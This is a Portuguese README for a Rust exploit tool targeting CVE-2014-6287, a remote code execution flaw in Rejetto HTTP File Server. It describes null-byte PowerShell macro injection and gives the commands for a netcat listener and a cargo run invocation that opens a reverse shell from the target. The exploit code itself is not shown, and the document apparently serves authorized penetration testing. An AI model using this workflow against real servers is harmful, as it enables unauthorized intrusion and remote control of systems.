CVE-2014-6287 - Rejetto HTTP File Server RCE Exploit

RustSecurity

Repósitorio

Uma implementação em Rust do exploit CVE-2014-6287 direcionado ao Rejetto HTTP File Server (HFS) versões 2.3x anteriores à 2.3c.

Visão geral da vulnerabilidade

CVE-2014-6287 é uma vulnerabilidade crítica de execução remota de código no Rejetto HTTP File Server (HFS).

Detalhes Técnicos

  • Software Afetado: Rejetto HTTP File Server (HFS) 2.3x antes da versão 2.3c
  • Tipo de Vulnerabilidade: Execução Remota de Código (RCE)
  • Pontuação CVSS: 10,0 (Crítico)
  • CWE: CWE-94 (Controle Inadequado de Geração de Código)

Descrição

A função findMacroMarker em parserLib.pas no Rejetto HTTP File Server permite que invasores remotos executem programas arbitrários por meio de uma sequência %00 em uma ação de pesquisa. Essa vulnerabilidade permite que invasores ignorem a validação de entrada e injetem código malicioso que é executado no sistema alvo.

O exploit funciona por meio de:

  1. Criação de uma consulta de pesquisa maliciosa contendo um byte nulo (%00)
  2. Injeção de comandos do PowerShell dentro dos delimitadores de macro {. e .}
  3. O servidor processa a macro e executa o código do PowerShell incorporado
  4. Estabelecimento de uma conexão de shell reversa com o invasor

Uso

Etapa 1: Configurar um ouvinte Netcat

Antes de executar o exploit, configure um ouvinte na máquina invasora para capturar o shell reverso:

# Substitua <LPORT> pela porta de escuta desejada
nc -lvnp <LPORT>

Etapa 2: Executar o Exploit

cargo run -- -l <LHOST> -p <LPORT> -r <RHOST> [-t <RPORT>]

Parâmetros obrigatórios:

  • -l, --lhost <LHOST>: Seu Endereço IP local (máquina do invasor)
  • -p, --lport <LPORT>: Sua porta local para o shell reverso
  • -r, --rhost <RHOST>: Endereço IP de destino (servidor HFS vulnerável)

Parâmetros opcionais:

  • -t, --rport <RPORT>: Porta de destino (padrão: 80)

Esta ferramenta é apenas para fins educacionais e de testes de penetração autorizados. Use com responsabilidade e apenas em sistemas de sua propriedade ou com permissão explícita para usá-la.